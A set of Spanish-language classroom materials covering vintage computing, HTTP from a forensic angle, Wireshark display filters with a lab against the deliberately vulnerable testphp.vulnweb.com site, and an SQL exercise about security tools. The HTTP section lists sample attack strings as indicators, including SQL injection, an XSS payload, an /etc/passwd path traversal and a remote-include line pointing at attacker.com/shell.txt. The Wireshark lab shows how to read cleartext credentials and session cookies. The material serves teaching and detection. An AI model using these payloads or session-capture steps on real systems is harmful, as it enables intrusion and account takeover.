    Investiga qué ordenadores u estaciones de trabajo de uso profesional existían en la misma época que la plataforma de tu juego.

    Debes elegir al menos uno y responder:

    • Nombre del equipo
    • CPU utilizada
    • Cantidad de memoria
    • Sistema operativo
    • Uso principal (científico, empresarial, diseño, programación, etc.)

    Ejemplos orientativos (puedes usar otros):

    • IBM PC / PC-AT
    • Apple Macintosh
    • Commodore Amiga
    • Atari ST
    • Estaciones Sun, DEC, SGI, NeXT…

    Fase 5 · Comparación técnica

    Compara el hardware del videojuego con el ordenador profesional investigado:

    • ¿Cuál tenía más potencia?
    • ¿Cuál tenía más memoria?
    • ¿Cuál tenía mejores capacidades gráficas reales?
    • ¿Cuál era más caro?
    • ¿Por qué, pese a existir hardware más potente, los juegos se desarrollaban para consolas?

    Fase 6 · De lo profesional a lo doméstico

    Reflexiona sobre la evolución tecnológica:

    • ¿Qué tecnologías que antes eran profesionales hoy son comunes?
      • Gráficos acelerados
      • Sonido digital
      • Multitarea
      • Redes
    • ¿En qué momento los ordenadores domésticos superaron a las consolas clásicas?

    Fase 7 · El salto a la actualidad: Raspberry Pi

    Analiza el papel de la Raspberry Pi:

    • ¿Qué tipo de ordenador es?
    • ¿Se parece más a una consola antigua o a un PC profesional antiguo?
    • ¿Qué usos profesionales reales tiene hoy?
      • Servidores
      • Automatización
      • IoT
      • Educación

    Fase 8 · Imaginando el juego en Realidad Virtual

    Durante la sesión podrás probar gafas VR.

    En el trabajo deberás responder:

    • ¿Cómo se podría adaptar tu juego a realidad virtual?
      • Tipo de vista (primera persona, tercera persona, maqueta…)
      • Controles
      • Escala del mundo
    • ¿Qué elementos deberían mantenerse para que siga siendo el mismo juego?
    • ¿Qué problemas técnicos podrían aparecer?
      • Mareos
      • Latencia
      • Precisión de controles
      • Rendimiento

    Pregunta final de reflexión

    Responde de forma razonada:

    Si tuvieras que explicar qué es una Raspberry Pi a alguien de la época de tu videojuego, usando solo comparaciones con hardware antiguo… ¿qué dirías?


    Entrega del trabajo

    • Formato: PDF
    • Extensión: entre 3 y 5 páginas
    • Contenido: texto claro, imágenes opcionales (capturas, hardware, esquemas)

    Se valorará especialmente:

    • Comprensión técnica
    • Capacidad de análisis y comparación
    • Reflexión crítica
    • Creatividad con base tecnológica
  • ¿Qué es HTTP?

    ¿Qué es HTTP?

    HTTP, visto desde el prisma del análisis forense, se convierte en un río de migas digitales. Todo lo que un usuario hace en la web —clics, formularios, cargas, descargas, redirecciones— queda reflejado en forma de peticiones y respuestas. Para un analista forense, ese flujo es una fuente de verdad incómodamente sincera.


    1. HTTP desde la perspectiva del Análisis Forense

    HTTP (Hypertext Transfer Protocol) es el lenguaje de comunicación entre navegadores y servidores web. En condiciones normales es un protocolo simple, sin cifrar, basado en texto plano. Esa “simplicidad” lo convierte en un objetivo fantástico para la reconstrucción forense de actividades.

    ¿Por qué HTTP importa en un análisis forense?

    HTTP expone tres elementos cruciales:

    1. Qué hizo un usuario
      Las URLs visitadas describen intención, interés y acciones concretas.
      Un acceso a /wp-admin/ no es lo mismo que una visita a /index.html.
    2. Qué envió un usuario
      Si no hay cifrado (HTTP a secas), el analista puede ver:
      • campos de formularios
      • parámetros en la URL
      • cookies
      • cabeceras personalizadas
      Son pruebas directas de actividad.
    3. Qué devolvió el servidor
      Los códigos de estado (200, 404, 500…) cuentan historias:
      • ¿Se intentó acceder a un recurso prohibido? (403)
      • ¿Hubo intentos de escaneo? (404 repetidos)
      • ¿Hubo redirecciones sospechosas? (3xx)

    En un entorno HTTPS el contenido se cifra, pero la metadata sigue hablando: SNI, IPs de destino, tamaño de paquetes, frecuencia de conexiones.


    2. Qué puede analizar un forense dentro del tráfico HTTP

    Cuando el tráfico está en claro (capturas PCAP, logs de proxy, almacenamientos en disco…), un analista puede reconstruir:

    Peticiones

    • Método usado (GET, POST, PUT…)
    • URL completa con parámetros
    • Cookies
    • User-Agent
    • Referer (muy útil para reconstruir navegación)
    • Origen de la petición

    Respuestas

    • Códigos de estado
    • Tipo de contenido (Content-Type)
    • Descarga de ficheros
    • Redirecciones (sirven para detectar phishing o malware)

    Cuerpo (Body)

    • Formularios enviados
    • Archivos subidos
    • Tokens
    • Sesiones reutilizadas
    • Comandos dentro de ataques (SQLi, XSS, LFI, RFI)

    HTTP deja la puerta abierta a ver la anatomía completa del ataque.


    3. Indicadores forenses típicos en HTTP

    Un forense puede detectar patrones de ataque leyendo únicamente tráfico HTTP.

    SQL Injection

    Parámetros anómalos:

    ?id=1' OR '1'='1 ?id=1 UNION SELECT *

    XSS

    Cargas útiles visibles:

    <script>alert('xss')</script>

    LFI/RFI

    ?page=../../etc/passwd ?file=http://attacker.com/shell.txt

    Attempts de fuerza bruta o escaneo

    • secuencias largas de 404 (enumeración de rutas)
    • accesos a /admin, /phpmyadmin, /wp-login.php
    • múltiples POST fallidos a formularios de login

    Exfiltración mediante HTTP

    • subidas de archivos
    • grandes volúmenes en POST
    • parámetros larguísimos y codificados (Base64, hex, etc.)

    HTTP se convierte en un diario de guerra para quien sabe leerlo.


    4. Fuentes forenses relacionadas con HTTP

    PCAPs

    Capturas obtenidas con Wireshark/tcpdump → reconstrucción completa de la sesión.

    Logs de servidor

    • Apache: access.log y error.log
    • Nginx: access.log y error.log
    • IIS: logs W3C

    Incluyen:

    • IP origen
    • timestamp
    • método
    • URL
    • código de respuesta
    • tamaño de respuesta
    • User-Agent

    Logs de proxy/IDS/IPS

    • Squid
    • Suricata
    • Snort

    Detectan patrones de ataque.

    Carpetas temporales del navegador

    Cuando no hay cifrado, muchos navegadores almacenaban recursos en caché → reconstrucción de contenido web visitado.


    5. Qué valor aporta HTTP en un caso forense

    HTTP permite:

    Atribución

    Qué IP hizo qué petición, cuándo, y hacia dónde.

    Reconstrucción cronológica

    Secuencia exacta de navegación.

    Detección de actividad maliciosa

    Scripts, comandos, payloads.

    Derivación de intenciones

    El tipo de URL buscada revela motivación y objetivos.

    Prueba digital sólida

    HTTP es fácil de interpretar y explicar en un informe pericial.


    LAS CAPAS DE HTTP

    En un recorrido típico, desde que un navegador lanza un GET hasta que el servidor responde un 200 OK, intervienen estas capas:

    1. Capa de Aplicación (HTTP “de verdad”)
    Aquí es donde vive el propio HTTP. Todo lo que son métodos (GET, POST…), cabeceras, cookies, códigos de estado, cuerpos JSON/HTML/lo-que-sea, ocurre aquí.
    Es la capa donde se expresa la intención humana: “dame este recurso”, “aquí tienes mi formulario”, “acepto gzip”.

    2. Capa de Transporte (TCP)
    HTTP clásico usa TCP, que actúa como el mensajero meticuloso: garantiza que los datos lleguen en orden, completos y sin que nadie se pierda por el camino.
    Aquí se negocia el 3-way handshake, se fragmentan segmentos, se controlan retransmisiones y se mantiene la conexión.

    3. Capa de Red (IP)
    IP es la guía turística poco habladora que solo sabe entregar paquetes. Se ocupa de mover esos segmentos TCP a través de routers, saltos, rutas posibles, usando direcciones IP.
    No sabe nada de “GET /index.html”, solo sabe de “lleva este paquete a la 172.217.x.x”.

    4. Capa de Enlace de Datos (Ethernet / Wi-Fi)
    Aquí estamos en el nivel de los marcos (frames), las MACs, la detección de colisiones, los canales radioeléctricos…
    Es la autopista física donde circulan los bits.

    5. Capa Física
    Aquí no hay cabeceras ni protocolos nobles. Solo voltajes, pulsos, ondas, fibras, fotones.
    Es la capa donde HTTP desaparece por completo y solo quedan electrones corriendo nerviosos.

    Ejemplo

    Vamos a hacer un ejemplo muy visual, como si desmontáramos una muñeca rusa digital.
    Imagina que tu navegador quiere pedir:

    GET /login.html HTTP/1.1
    Host: ejemplo.com

    Ese texto tan inocente pasa por una cadena de capas. Te lo describo como si fuese un “viaje del paquete” de arriba abajo.

    1. Capa de Aplicación (HTTP)

    Aquí se construye el mensaje original:

    GET /login.html HTTP/1.1
    Host: ejemplo.com
    User-Agent: Firefox
    Accept: text/html

    Todavía no hay números de puertos, ni IPs, ni MACs. Solo intención: “dame este recurso”.

    2. Capa de Transporte (TCP)

    HTTP se mete dentro de un segmento TCP. Ahora aparecen cosas como:

    Puerto origen: 53214
    
    Puerto destino: 80
    
    Número de secuencia: 45500123
    
    Flags: PSH, ACK
    

    Ejemplo muy simplificado:

    [`TCP HEADER] Src Port: 53214 Dst Port: 80 Seq: 45500123 Ack: 1209931001 [DATA] GET /login.html HTTP/1.1 Host: ejemplo.com`

    3. Capa de Red (IP)

    El segmento TCP se mete dentro de un paquete IP:

    [IP HEADER]
    Src IP: 192.168.1.50
    Dst IP: 93.184.216.34
    TTL: 64
    Protocol: TCP
    [TCP + HTTP DATA]

    Esta capa ya sabe a qué dirección de Internet debe viajar.

    4. Capa de Enlace (Ethernet / Wi-Fi)

    Ahora se añade el frame Ethernet con MACs:

    [ETHERNET HEADER]
    Src MAC: C4:12:3B:AA:11:22
    Dst MAC: 58:9C:FC:02:EE:10
    Type: IPv4
    [IP + TCP + HTTP]

    Estas direcciones MAC son solo para el salto inmediato (por ejemplo, tu router).

    5. Capa Física

    El frame se convierte en:

    Pulsos eléctricos (Ethernet),
    
    Ondas electromagnéticas (Wi-Fi),
    
    Fotones (fibra óptica).
    

    En esta capa ya no vemos “GET /login.html”. Vemos señales que codifican bits.

    Cada capa de la 1 a la 5 envuelve a la anterior:

    [FÍSICA]
    -> [ENLACE]
    -> [IP]
    -> [TCP]
    -> [HTTP]

    Si quieres ver esto “en vivo” puedes abrir Wireshark y filtra por http. Cuando haces clic en un paquete verás:

    Ethernet II
    
    Internet Protocol Version 4
    
    Transmission Control Protocol
    
    Hypertext Transfer Protocol
    

    Cada uno anidado dentro del otro, como en este ejemplo que acabas de leer.

  • ¿Qué es Wireshark?

    ¿Qué es Wireshark?

    Wireshark es un analizador de tráfico de red que permite capturar y examinar, en tiempo real o a través de archivos pcap, todos los paquetes que circulan por un equipo o una interfaz de red. Su potencia reside en su capacidad para mostrar cada detalle de la comunicación: protocolos, cabeceras, datos, errores y patrones internos.

    Sin embargo, una captura completa suele contener miles de paquetes mezclados: peticiones web, DNS, tráfico de fondo del sistema, retransmisiones TCP, etc. Analizar todo a la vez es inviable. Para poder investigar de forma eficaz, necesitamos herramientas que nos permitan centrarnos solo en lo relevante.

    Aquí es donde entran en juego los filtros de visualización.


    2. ¿Qué son los filtros de Wireshark?

    Un filtro en Wireshark es una expresión que permite mostrar únicamente los paquetes que cumplen una o varias condiciones. El resto de los paquetes no se eliminan: simplemente se ocultan temporalmente de la vista.

    Los filtros son una forma de decirle a Wireshark:

    “De entre todos estos miles de paquetes, solo quiero ver los que coincidan con esta característica concreta.”

    Por ejemplo:

    • “Solo quiero ver peticiones GET a una web.”
    • “Muéstrame las cookies enviadas por el navegador.”
    • “Quiero ver los paquetes destinados al puerto 80.”
    • “Enséñame el tráfico DNS para saber qué dominios se resolvieron.”

    Con esto, el análisis deja de ser caótico y se convierte en una investigación guiada.


    3. ¿Cómo funcionan por dentro?

    3.1. Campos de los protocolos

    Wireshark entiende cada protocolo y lo descompone en campos.
    Por ejemplo, en HTTP podemos encontrar:

    • http.host
    • http.request.method
    • http.cookie

    En TCP aparecen campos como:

    • tcp.port
    • tcp.flags.syn
    • tcp.seq

    En DNS:

    • dns.qry.name

    Cada uno de estos campos puede usarse para crear filtros.


    3.2. Operadores

    Para comparar esos campos con valores concretos, Wireshark utiliza operadores lógicos y relacionales:

    OperadorSignificado
    ==Igual a
    !=Distinto
    containsEl campo contiene un texto concreto
    < / >Comparación numérica
    &&AND lógico
    `
    !Negación (NO)

    Con estos operadores podemos crear condiciones desde sencillas hasta muy complejas.


    3.3. Ejemplos básicos

    http
    

    Muestra únicamente paquetes HTTP.

    http.request.method == "POST"
    

    Filtra todas las peticiones POST (ideal para ver formularios y logins sin cifrar).

    tcp.port == 80
    

    Muestra tráfico hacia/desde el puerto 80 (HTTP en claro).

    http.cookie contains "PHPSESSID"
    

    Filtra cookies asociadas a sesiones PHP.


    4. ¿Para qué sirven realmente?

    Los filtros permiten:

    • Analizar aplicaciones web en PHP

    Ver cómo un navegador solicita index.php, cómo envía credenciales por POST o cómo recibe una cookie de sesión.

    • Depurar problemas

    Identificar errores HTTP, pérdidas de paquetes, retransmisiones TCP o peticiones repetidas.

    • Seguir el flujo de un usuario

    Reconstruir la secuencia de navegación: qué URL pidió, cuándo inició sesión y qué recursos cargó la página.

    • Detectar configuraciones inseguras

    Tráfico HTTP en claro, cookies sin atributos de seguridad, peticiones POST sin cifrar…

    • Aprender el funcionamiento interno de la red

    DNS, ARP, TLS, TCP handshake y otros mecanismos que normalmente pasan desapercibidos.


    5. Tipos de filtros en Wireshark

    Wireshark tiene dos categorías (aunque muchos alumnos las confunden al principio):

    1. Filtros de captura (Capture Filters)

    Se aplican antes de capturar y limitan qué paquetes se guardan en el archivo.
    Tienen sintaxis estilo BPF (más escueta):
    Ejemplo:

    port 80
    host 192.168.1.100
    

    2. Filtros de visualización (Display Filters)

    Se aplican después de capturar y permiten analizar sin perder nada.
    Son los que se usan el 99% del tiempo en clase:

    http.request.method == "GET"
    dns.qry.name contains "example.com"
    

    6. Conclusión

    Los filtros son la herramienta fundamental para convertir una captura de tráfico en bruto en una historia comprensible. Permiten investigar, aprender, depurar y entender cómo se comportan las aplicaciones web y los protocolos de red.

    Dominar los filtros equivale a dominar Wireshark.


    Filtros básicos pero muy visuales

    1. Filtrar por HTTP en claro
    Cuando trabajan con un hosting sin HTTPS o usando HTTP local:

    http
    

    Muestra peticiones GET, POST, cabeceras, parámetros… el caramelo didáctico ideal.

    2. Solo peticiones GET

    http.request.method == "GET"
    

    Sirve para ver qué recursos pide el navegador: imágenes, JS, CSS, el index.php.

    3. Solo peticiones POST (login, formularios)

    http.request.method == "POST"
    

    Perfecto para mostrar cómo se enviarían credenciales sin cifrar. Nada despierta conciencias como ver un usuario y contraseña en texto plano.


    Filtros para cazar PHP

    4. Peticiones explícitas a archivos PHP

    http.request.uri contains ".php"
    

    Puedes ver exactamente qué scripts se llaman: login.php, insert.php, update.php.

    5. Extraer cookies (sesiones PHP)

    http.cookie
    

    Llega el momento «¿ves esto? Esto es tu sesión… y si te la robo, te convierto en ti».

    6. Ver el PHPSESSID en tráfico no cifrado

    http.cookie contains "PHPSESSID"
    

    Es el filtro dramático: el espíritu del session hijacking entra en clase.


    Cuando todo va cifrado (HTTPS)

    La gente suele pensar “si está cifrado, no veo nada”, pero sí hay cosas interesantes:

    7. Filtrar solo TLS/SSL

    tls
    

    8. Ver el SNI (qué dominio está visitando el cliente)

    tls.handshake.extensions_server_name
    

    SNI revela dominios incluso aunque el contenido esté cifrado. Muy útil para explicación OSINT.

    9. Ver el handshake TLS

    tls.handshake
    

    Para explicar versiones de TLS, cipher suites, certificados…


    Filtros orientados al servidor web

    10. Filtrar por puerto

    tcp.port == 80 || tcp.port == 443
    

    Básico pero efectivo para centrar el tráfico.

    11. Filtrar errores HTTP

    http.response.code >= 400
    

    Se ven los 404, 403, 500… Ideal cuando tus alumnos han roto algo sin querer.

    12. Ver solo respuestas 200 (todas bien)

    http.response.code == 200
    

    Filtros para mostrar problemas reales

    13. Retransmisiones TCP (problemas de red)

    tcp.analysis.retransmission
    

    Traduce “la red no es perfecta, observad estas repeticiones”.

    14. Paquetes fuera de orden

    tcp.analysis.out_of_order
    

    15. Flujo lento o paquetes perdidos

    tcp.analysis.lost_segment
    

    Filtros de capas bajas (para dar color a la clase)

    16. Filtrar ARP

    arp
    

    Es como ver el vecindario de máquinas preguntándose mutuamente “¿quién eres?”.

    17. Filtrar DNS

    dns
    

    Verán cada dominio que consulta el navegador antes siquiera de entrar al PHP.


    Un combo que siempre triunfa en clase

    Ver solo: peticiones POST + tráfico HTTP + mostrar cookies
    Sirve para simular un login vulnerable:

    http.request.method == "POST" && http.cookie
    

    Y si están usando HTTPS pero quieres que entiendan lo que no pueden ver:

    tls && http
    

    No aparece nada HTTP, y eso invita al clásico «¿ves? por esto existe HTTPS».

    Práctica: Análisis de Tráfico HTTP con Wireshark en una Web Vulnerable

    Caso práctico: testphp.vulnweb.com


    1. Introducción

    En esta práctica aprenderás a utilizar Wireshark para analizar el tráfico HTTP generado al navegar por una aplicación web vulnerable. El objetivo es comprender cómo viajan las peticiones y respuestas en una web sin cifrado, identificar parámetros, observar cabeceras, analizar formularios y cookies de sesión, y entender los riesgos de seguridad asociados.

    La web utilizada es:

    http://testphp.vulnweb.com/
    

    Este sitio es un entorno público y autorizado para prácticas de ciberseguridad ofrecido por Acunetix, por lo que su uso es completamente legal con fines académicos.


    2. Objetivos de la práctica

    Al finalizar la actividad, deberás ser capaz de:

    • Capturar tráfico HTTP real con Wireshark.
    • Aplicar filtros para aislar información concreta.
    • Analizar peticiones GET y POST.
    • Identificar parámetros, rutas internas y patrones de navegación.
    • Localizar cookies y sesiones enviadas en texto claro.
    • Comprender los riesgos de enviar credenciales por HTTP.

    3. Procedimiento

    3.1. Preparación

    1. Abre Wireshark.
    2. Selecciona la interfaz de red que utilices para navegar por Internet.
    3. Inicia la captura de paquetes.
    4. Abre el navegador y visita:
    http://testphp.vulnweb.com/
    
    1. Navega por distintas secciones: categorías, productos, artista, carrito…
    2. Accede al formulario de login e introduce cualquier usuario y contraseña (fallará siempre, es parte del diseño).
    3. Realiza varias acciones para generar tráfico suficiente.
    4. Regresa a Wireshark y detén la captura.

    4. Análisis guiado en Wireshark

    A continuación aplicarás varios filtros y analizarás lo que ocurre en cada caso.


    4.1. Visualizar únicamente tráfico HTTP

    Filtro:

    http
    

    Qué debes observar:

    • Todas las peticiones realizadas al servidor.
    • Rutas como /index.php, /listproducts.php, /product.php, etc.
    • Imágenes, scripts y otros recursos solicitados.

    Ejemplo típico que deberías encontrar:

    GET /listproducts.php?cat=1 HTTP/1.1
    Host: testphp.vulnweb.com
    

    4.2. Listar únicamente peticiones GET

    Filtro:

    http.request.method == "GET"
    

    Observa cómo la web utiliza parámetros en la URL. Ejemplos que verás:

    GET /artist.php?artist=4
    GET /product.php?pic=3
    GET /listproducts.php?cat=2
    

    Esto permite mapear la estructura del sitio.


    4.3. Detectar peticiones con parámetros

    Filtro:

    http.request.uri contains "="
    

    Este filtro muestra exclusivamente peticiones con parámetros GET.

    Ejemplos esperados:

    GET /shoppingcart.php?add=2
    GET /login.php?test=1
    

    Fíjate en cómo la información viaja en texto plano.


    4.4. Analizar el login (peticiones POST)

    En la web, introduce un usuario y contraseña en el formulario.

    Filtro:

    http.request.method == "POST"
    

    Debes encontrar una petición similar a:

    POST /userinfo.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    uname=prueba&pass=1234
    

    Reflexiona sobre el riesgo de enviar credenciales por HTTP sin cifrar.


    4.5. Visualizar cookies y sesiones

    Filtro:

    http.cookie
    

    Deberías ver algo como:

    Cookie: PHPSESSID=8d6v93h3k8a...
    

    Esto confirma que la sesión también viaja sin protección alguna.


    4.6. Encontrar errores en la web

    Filtro:

    http.response.code >= 400
    

    Este filtro permite localizar:

    • Páginas no encontradas (404)
    • Errores internos (500)
    • Accesos no permitidos (403)

    Esto ayuda a entender la estructura interna del sitio.


    4.7. Localizar recursos concretos: imágenes, JS y CSS

    Para analizar recursos específicos:

    Imágenes (JPG):

    http.request.uri contains ".jpg"
    

    Scripts:

    http.request.uri contains ".js"
    

    Hojas de estilo:

    http.request.uri contains ".css"
    

    Permite reconstruir exactamente todo lo que carga el navegador.


    4.8. Seguir una conversación completa

    Selecciona cualquier paquete HTTP → clic derecho →
    Follow → HTTP Stream

    Verás la conversación completa entre cliente y servidor:

    • Petición completa
    • Respuesta completa
    • HTML enviado

    Perfecto para reconstruir acciones exactas del usuario.


    5. Cuestionario final

    Responde a las siguientes preguntas basándote en tu captura:

    1. Lista todos los parámetros GET que aparecieron durante tu navegación.
    2. ¿Qué peticiones POST detectaste? ¿Qué información enviaron?
    3. ¿Cómo viajan las credenciales del formulario de login?
    4. ¿Qué cookies o identificadores de sesión aparecen durante la captura?
    5. ¿Puedes reconstruir qué páginas visitó el usuario? Describe el flujo.
    6. ¿Has encontrado algún error HTTP (404, 500…)? ¿En qué rutas?
    7. Explica qué riesgos de seguridad existen al usar HTTP en lugar de HTTPS.
  • Reto 1 – Arsenal de Herramientas Web de Ciberseguridad

    Reto 1 – Arsenal de Herramientas Web de Ciberseguridad

    Sois el equipo de inteligencia de una corporación tipo Weyland-Yutani / Tyrell / Cyberdyne. Necesitáis un arsenal organizado de herramientas online de ciberseguridad para elegir la herramienta adecuada en cada misión. Vuestra tarea es diseñar y explotar la base de datos de ese arsenal.

    Crear una base de datos llamada, por ejemplo, ciber_arsenal, que almacene herramientas web de ciberseguridad / OSINT / análisis:

    • SELECT básicos
    • filtros (WHERE)
    • ordenaciones (ORDER BY)
    • agregaciones (COUNT, AVG…)
    • GROUP BY / HAVING
    • JOIN entre varias tablas
    • subconsultas sencillas

    1. Diseño de la base de datos

    Tablas

    3 tablas principales:

    1. categorias – Tipo de herramienta (OSINT, análisis malware, escaneo, forense…).
    2. herramientas – Cada herramienta web concreta.
    3. tags y herramienta_tag – Muchos-a-muchos y JOINs.

    1.1. Tabla categorias

    CREATE DATABASE ciber_arsenal;
    USE ciber_arsenal;
    
    CREATE TABLE categorias (
        id_categoria      INT AUTO_INCREMENT PRIMARY KEY,
        nombre            VARCHAR(50) NOT NULL,
        descripcion       VARCHAR(255)
    );
    

    Ejemplos de categorías:

    • OSINT
    • Escaneo de puertos / servicios
    • Análisis de malware
    • Análisis de dominios / DNS
    • Forense
    • Threat Intelligence

    1.2. Tabla herramientas

    CREATE TABLE herramientas (
        id_herramienta        INT AUTO_INCREMENT PRIMARY KEY,
        nombre                VARCHAR(100) NOT NULL,
        url                   VARCHAR(255) NOT NULL,
        id_categoria          INT,
        tipo_acceso           ENUM('web','api','desktop','mixto') DEFAULT 'web',
        licencia              ENUM('gratuita','freemium','comercial','código abierto') DEFAULT 'gratuita',
        requiere_registro     BOOLEAN DEFAULT 0,
        nivel_criticidad      TINYINT,      -- 1 a 5: 1 = muy suave, 5 = muy delicada
        pais_servidor         VARCHAR(50),  -- País principal (aprox)
        anyo_lanzamiento      INT,
        uso_principal         VARCHAR(100), -- en una frase corta
        requiere_vpn          BOOLEAN DEFAULT 0,
        notas                 VARCHAR(255),
        CONSTRAINT fk_cat
            FOREIGN KEY (id_categoria) REFERENCES categorias(id_categoria)
    );
    

    Con estos campos puedes preguntar por:

    • Herramientas por país
    • Por tipo de licencia
    • Por nivel de criticidad
    • Por año de lanzamiento
    • etc.

    1.3. Tablas de tags

    CREATE TABLE tags (
        id_tag      INT AUTO_INCREMENT PRIMARY KEY,
        nombre      VARCHAR(50) NOT NULL
    );
    
    CREATE TABLE herramienta_tag (
        id_herramienta INT,
        id_tag         INT,
        PRIMARY KEY (id_herramienta, id_tag),
        FOREIGN KEY (id_herramienta) REFERENCES herramientas(id_herramienta),
        FOREIGN KEY (id_tag) REFERENCES tags(id_tag)
    );
    

    Ejemplos de tags: shodan-like, buscador_ips, malware_sandbox, dns, breach, wifi, mobile, etc.

    Datos de EJEMPLO

    Categorías

    INSERT INTO categorias (nombre, descripcion) VALUES
    ('OSINT', 'Recolección de información en fuentes abiertas'),
    ('Escaneo', 'Descubrimiento de puertos, servicios y hosts'),
    ('Analisis Malware', 'Análisis de ejecutables sospechosos'),
    ('Analisis Dominios/DNS', 'Información sobre dominios, DNS y certificados'),
    ('Forense', 'Análisis forense de sistemas y archivos'),
    ('Threat Intelligence', 'Reputación de IPs, dominios y campañas');
    

    Herramientas

    INSERT INTO herramientas 
    (nombre, url, id_categoria, tipo_acceso, licencia, requiere_registro, nivel_criticidad, pais_servidor, anyo_lanzamiento, uso_principal, requiere_vpn, notas)
    VALUES
    ('Shodan', 'https://www.shodan.io', 1, 'web', 'freemium', 1, 5, 'Estados Unidos', 2009, 'Buscador de dispositivos conectados a Internet', 0, 'API muy utilizada en pentesting'),
    ('Censys', 'https://search.censys.io', 1, 'web', 'freemium', 1, 5, 'Estados Unidos', 2015, 'Escaneo y búsqueda de hosts y certificados', 0, 'Similar a Shodan'),
    ('ZoomEye', 'https://www.zoomeye.org', 1, 'web', 'freemium', 1, 5, 'China', 2013, 'Buscador de servicios y dispositivos expuestos', 1, 'A veces bloqueado en algunos países'),
    ('VirusTotal', 'https://www.virustotal.com', 3, 'web', 'freemium', 1, 4, 'España', 2004, 'Análisis de ficheros y URLs con múltiples antivirus', 0, 'Muy usado para análisis rápido'),
    ('Hybrid Analysis', 'https://www.hybrid-analysis.com', 3, 'web', 'gratuita', 1, 4, 'Estados Unidos', 2014, 'Sandbox para analizar malware', 0, 'Requiere cuenta gratuita'),
    ('Any.Run', 'https://any.run', 3, 'web', 'freemium', 1, 4, 'Emiratos Árabes Unidos', 2016, 'Sandbox interactiva para malware', 0, 'Permite ver la ejecución en tiempo real'),
    ('Urlscan.io', 'https://urlscan.io', 4, 'web', 'gratuita', 0, 3, 'Alemania', 2017, 'Análisis de URLs y recursos cargados', 0, 'Muy útil para phishing'),
    ('crt.sh', 'https://crt.sh', 4, 'web', 'gratuita', 0, 2, 'Estados Unidos', 2014, 'Búsqueda de certificados TLS emitidos', 0, 'Muy útil para descubrir subdominios'),
    ('SecurityTrails', 'https://securitytrails.com', 4, 'web', 'freemium', 1, 3, 'Estados Unidos', 2017, 'Inteligencia sobre dominios, DNS e IPs', 0, 'Buen complemento a otras OSINT'),
    ('Have I Been Pwned', 'https://haveibeenpwned.com', 6, 'web', 'gratuita', 0, 3, 'Australia', 2013, 'Comprobación de correos en brechas de datos', 0, 'Tiene API limitada'),
    ('Dehashed', 'https://www.dehashed.com', 6, 'web', 'comercial', 1, 5, 'Estados Unidos', 2015, 'Búsqueda avanzada en bases de datos filtradas', 1, 'Muy potente pero de pago'),
    ('MalwareBazaar', 'https://bazaar.abuse.ch', 3, 'web', 'gratuita', 0, 4, 'Suiza', 2019, 'Repositorio de muestras de malware', 1, 'Uso muy delicado'),
    ('AbuseIPDB', 'https://www.abuseipdb.com', 6, 'web', 'freemium', 1, 3, 'Irlanda', 2016, 'Reputación de IPs reportadas por abuso', 0, 'Útil para filtrar tráfico malicioso'),
    ('Wigle', 'https://wigle.net', 1, 'web', 'gratuita', 1, 3, 'Estados Unidos', 2001, 'Base de datos de redes WiFi geolocalizadas', 1, 'Muy útil para geolocalización'),
    ('Archive.org', 'https://web.archive.org', 1, 'web', 'gratuita', 0, 1, 'Estados Unidos', 1996, 'Archivo histórico de páginas web', 0, 'Wayback Machine'),
    ('MetaDefender Cloud', 'https://metadefender.opswat.com', 3, 'web', 'gratuita', 0, 3, 'Estados Unidos', 2017, 'Análisis de ficheros y URLs', 0, 'Alternativa a VirusTotal');
    

    Tags

    INSERT INTO tags (nombre) VALUES
    ('buscador_ips'),
    ('buscador_dispositivos'),
    ('malware_sandbox'),
    ('analisis_url'),
    ('breach'),
    ('dns'),
    ('dominios'),
    ('certificados'),
    ('threat_intel'),
    ('wifi'),
    ('historial_web');
    

    Relación herramienta-tag

    -- Shodan
    INSERT INTO herramienta_tag VALUES (1, 1), (1, 2), (1, 9);
    -- Censys
    INSERT INTO herramienta_tag VALUES (2, 1), (2, 2), (2, 8), (2, 9);
    -- ZoomEye
    INSERT INTO herramienta_tag VALUES (3, 1), (3, 2);
    -- VirusTotal
    INSERT INTO herramienta_tag VALUES (4, 3), (4, 4), (4, 9);
    -- Hybrid Analysis
    INSERT INTO herramienta_tag VALUES (5, 3), (5, 9);
    -- Any.Run
    INSERT INTO herramienta_tag VALUES (6, 3);
    -- Urlscan.io
    INSERT INTO herramienta_tag VALUES (7, 4), (7, 9);
    -- crt.sh
    INSERT INTO herramienta_tag VALUES (8, 6), (8, 7), (8, 8);
    -- SecurityTrails
    INSERT INTO herramienta_tag VALUES (9, 6), (9, 7), (9, 9);
    -- HIBP
    INSERT INTO herramienta_tag VALUES (10, 5), (10, 9);
    -- Dehashed
    INSERT INTO herramienta_tag VALUES (11, 5), (11, 9);
    -- MalwareBazaar
    INSERT INTO herramienta_tag VALUES (12, 3), (12, 9);
    -- AbuseIPDB
    INSERT INTO herramienta_tag VALUES (13, 1), (13, 9);
    -- Wigle
    INSERT INTO herramienta_tag VALUES (14, 10);
    -- Archive.org
    INSERT INTO herramienta_tag VALUES (15, 11);
    -- MetaDefender Cloud
    INSERT INTO herramienta_tag VALUES (16, 3), (16, 4);
    

    MISION

    Vuestra misión es diseñar, crear y explotar una base de datos que almacene un arsenal de herramientas web utilizadas en ciberseguridad (OSINT, análisis de malware, dominios, threat intel, etc.).

    1. Crear la base de datos ciber_arsenal.
    2. Crear las tablas categorias, herramientas, tags y herramienta_tag siguiendo el modelo proporcionado.
    3. Insertar al menos 15 herramientas con datos realistas (podéis completar o modificar los ejemplos).
    4. Diseñar al menos 10 tags y relacionarlos con las herramientas.
    5. Realizar una colección de consultas SQL (SELECT) para responder a preguntas típicas de un analista de ciberseguridad.


    Propuesta de ejercicios de consultas SELECT

    1. Mostrar todas las herramientas con su nombre y URL.
    2. Listar todas las herramientas ordenadas por año de lanzamiento (más antiguas primero).
    3. Mostrar nombre, licencia y categoría de todas las herramientas que sean gratuitas.
    4. Mostrar las herramientas cuya licencia sea “freemium” o “comercial”.
    5. Listar herramientas que no requieran registro (requiere_registro = 0).
    6. Mostrar las herramientas con nivel de criticidad mayor o igual que 4.
    7. Contar cuántas herramientas hay por cada categoría (usar GROUP BY).
    8. Obtener el número total de herramientas por tipo de licencia.
    9. Calcular el año medio de lanzamiento de las herramientas de la categoría “OSINT”.
    10. Listar todas las herramientas cuyo país del servidor sea “Estados Unidos”.
    11. Listar las herramientas que requieren VPN (requiere_vpn = 1).
    12. Mostrar todas las herramientas cuya URL contenga la palabra "virus" o "malware".
    13. Listar las herramientas lanzadas después de 2015 y que sean de tipo acceso web.
